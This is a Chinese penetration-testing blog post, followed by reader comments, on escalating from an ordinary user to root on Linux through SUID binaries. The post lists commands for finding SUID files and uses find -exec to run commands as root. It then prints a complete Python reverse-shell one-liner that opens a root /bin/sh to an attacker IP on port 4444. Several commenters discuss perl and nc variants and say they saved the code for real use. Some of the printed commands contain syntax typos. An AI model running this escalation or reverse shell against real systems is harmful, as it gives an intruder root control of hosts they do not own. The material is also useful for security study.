Linux 提权 —— SUID提权

OnionT@KillBoy
OnionT@KillBoy
作者
47
文章
0
粉丝
渗透测试4618,5223字数 473阅读1分34秒阅读模式
AI智能摘要
你还在为渗透测试时卡在普通用户权限而苦恼吗?linux系统中看似普通的find、nmap等命令,竟能成为直通root权限的秘密通道!本文将手把手演示如何利用SUID权限漏洞,通过六个关键步骤从ubuntu用户跃升至系统最高权限。无需复杂工具,仅需几行命令就能让目标主机主动向你敞开root权限的大门,完整重现真实渗透场景中的提权全过程。
— AI 生成的文章内容摘要

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

已知的可用来提权的linux可行性的文件列表如下:

nmap • vim • find • bash • more • less • nano • cp 

以下命令可以发现系统上运行的所有SUID可执行文件。

1. #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试 2. find / -perm -u=s -type f 2>/dev/null 3. find / -user root -perm -4000-print2>/dev/null 4. find / -user root -perm -4000-exec ls -ldb {} /; 

利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
Linux 提权 —— SUID提权-图片1
我们查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
Linux 提权 —— SUID提权-图片1
我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件
Linux 提权 —— SUID提权-图片1
我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行
/usr/bin/find examples.desktop -exec whoami /;
Linux 提权 —— SUID提权-图片1
至于这里为什么可以用find -exec ,可以查看find帮助或者man手册

然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境
Linux 提权 —— SUID提权-图片2
于是我们以root用户的身份利用python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反弹一个sh类型的shell

Linux 提权 —— SUID提权-图片3
可以看到,在攻击端收到了反弹过来的shell,并且是root身份
Linux 提权 —— SUID提权-图片3

http://www.oniont.cn/index.php/archives/142.html

 
OnionT@KillBoy
评论  46  访客  46
    • 孤雁南飞
      孤雁南飞 1

      这招真香,直接提权成功。

      • 月老红线
        月老红线 1

        看到SUID就头大,配置错了真是后患无穷。

        • 星辰之翼
          星辰之翼 0

          老手一看就懂,对新手可能有点跳跃。

          • 红粉骷髅
            红粉骷髅 1

            实战中确实得先看看有哪些SUID文件,不是每个都能用。

            • 奶茶不加糖
              奶茶不加糖 0

              直接用find提权,省事又高效。

                • 双子座的变幻
                  双子座的变幻 0

                  @ 奶茶不加糖 确实,比写个C程序编译再执行省事多了。

                  • 惜春作画
                    惜春作画 0

                    @ 奶茶不加糖 用find -exec确实快,但有些系统会限制这个参数,得先试试。

                  • 梅子酒
                    梅子酒 1

                    这玩意儿坑太深,玩儿不爽🤔

                    • 末日漫游者
                      末日漫游者 1

                      思路清晰,值得一试。

                      • 翠绿幽影
                        翠绿幽影 0

                        find的‑exec到底能传哪些参数,能用来跑更复杂的脚本吗?

                        • 凿石成文
                          凿石成文 0

                          另外,别忘了检查/usr/bin/vim的SUID位,有时也能利用。

                          • 暮光之语
                            暮光之语 0

                            我之前在一台老服务器上也用find提权,差点被日志记录抓住,真是惊险。

                            • 影烬灵
                              影烬灵 0

                              如果目标机器没有python2,改用perl还能做到同样的反弹吗?

                                • 暗夜死神
                                  暗夜死神 0

                                  @ 影烬灵 perl可以啊,用system或反引号执行shell命令就行,具体要看perl版本。

                                • 软萌小团子
                                  软萌小团子 0

                                  说所有SUID文件都能直接提权其实有点夸大,很多系统会对‑exec做限制,需要先确认二进制的实际行为。

                                  • 旧时光简
                                    旧时光简 1

                                    看到有人直接用nano提权,我忍不住笑了,原来编辑器也能当后门,真是意想不到的技巧。

                                    • 橡皮筋跳跃者
                                      橡皮筋跳跃者 0

                                      find的‑exec真的好用,省掉不少手动写脚本的时间。

                                        • 肖强
                                          肖强 0

                                          @ 橡皮筋跳跃者 对,‑exec参数配合管道或者重定向可以玩出很多花样。

                                        • 厕所里的思想家
                                          厕所里的思想家 0

                                          别忘先用ls -l检查SUID位所有者。

                                          • 淅沥淅沥
                                            淅沥淅沥 1

                                            目标机器没有python2,能直接用perl实现同样的反弹吗?

                                              • 梦境边境
                                                梦境边境 0

                                                @ 淅沥淅沥 可以,perl也有类似的socket和进程调用功能,语法稍微改改就行。

                                              • 猎户徐
                                                猎户徐 0

                                                看到有人直接用nano提权,我忍不住笑了,原来编辑器也能当后门。

                                                • 棉花糖小云
                                                  棉花糖小云 0

                                                  那如果系统禁用了‑exec参数,还能怎么利用?

                                                  • AI幻影
                                                    AI幻影 0

                                                    其实SUID文件不少,除了常见的vim、bash,还可以检查一下/usr/bin/awk或perl,有时它们的SUID位也能被滥用,关键是看它们是否允许外部命令执行。

                                                    • 玉匠高二四
                                                      玉匠高二四 0

                                                      思路挺清晰。

                                                      • 彩虹小鲸鱼
                                                        彩虹小鲸鱼 0

                                                        SUID这种权限设计真的很容易被钻空子啊,linux的安全性有时候也挺让人担心的。

                                                        • 青柠
                                                          青柠 0

                                                          之前用nmap提权成功过,不过现在新版本都修复了。

                                                          • 心远
                                                            心远 0

                                                            有没有更简单一点的例子?感觉命令有点复杂,新手看不太明白。

                                                            • 画骨生
                                                              画骨生 0

                                                              find这个命令确实好用,我之前也用它来清理过系统垃圾。

                                                              • 医师苍生
                                                                医师苍生 0

                                                                要是目标机器装了Docker,用SUID还能不能提权啊?

                                                                • 赤焰生
                                                                  赤焰生 1

                                                                  感觉这个教程写得挺实用的,比那些光讲理论的好多了。

                                                                    • 独行者
                                                                      独行者 0

                                                                      @ 赤焰生 嗯,至少步骤都列出来了,照着做就行。

                                                                    • 害羞的鹿
                                                                      害羞的鹿 0

                                                                      这种提权方法对CentOS系统也适用吗?

                                                                      • 烬落者
                                                                        烬落者 0

                                                                        哈哈,这个技巧收藏了,下次渗透测试的时候试试看。

                                                                        • 社牛小马
                                                                          社牛小马 1

                                                                          用more和less也能提权?这个倒是第一次听说,长见识了。

                                                                          • 阿耳忒弥斯
                                                                            阿耳忒弥斯 1

                                                                            这个思路不错,不过实际环境里很多SUID位都被去掉了,得看运气。

                                                                            • ViperFrost
                                                                              ViperFrost 1

                                                                              反弹shell那段代码记下了,实战能用上。

                                                                                • 永不言败
                                                                                  永不言败 1

                                                                                  @ ViperFrost 多记几个,find也常用

                                                                                • 剑影随
                                                                                  剑影随 1

                                                                                  之前用bash的SUID提权过,不过现在很多发行版默认都不给了。

                                                                                  • 游击
                                                                                    游击 1

                                                                                    这方法在CentOS 7上试过,可以的。

                                                                                    • 霜冻之牙
                                                                                      霜冻之牙 0

                                                                                      要是有node环境是不是也能用类似思路?

                                                                                      • 铜风铃
                                                                                        铜风铃 1

                                                                                        find -exec能传复杂命令吗?比如管道或者重定向?

                                                                                        • 月隐空
                                                                                          月隐空 0

                                                                                          这个反弹shell的python代码在3.x上得改改吧?

                                                                                          • 弦理论拾荒者
                                                                                            弦理论拾荒者 0

                                                                                            直接用nc弹shell是不是也行?

                                                                                            • 钢铁侠不洗澡
                                                                                              钢铁侠不洗澡 1

                                                                                              vim也能这么玩吗?好奇

                                                                                            匿名

                                                                                            发表评论

                                                                                            匿名网友

                                                                                            拖动滑块以完成验证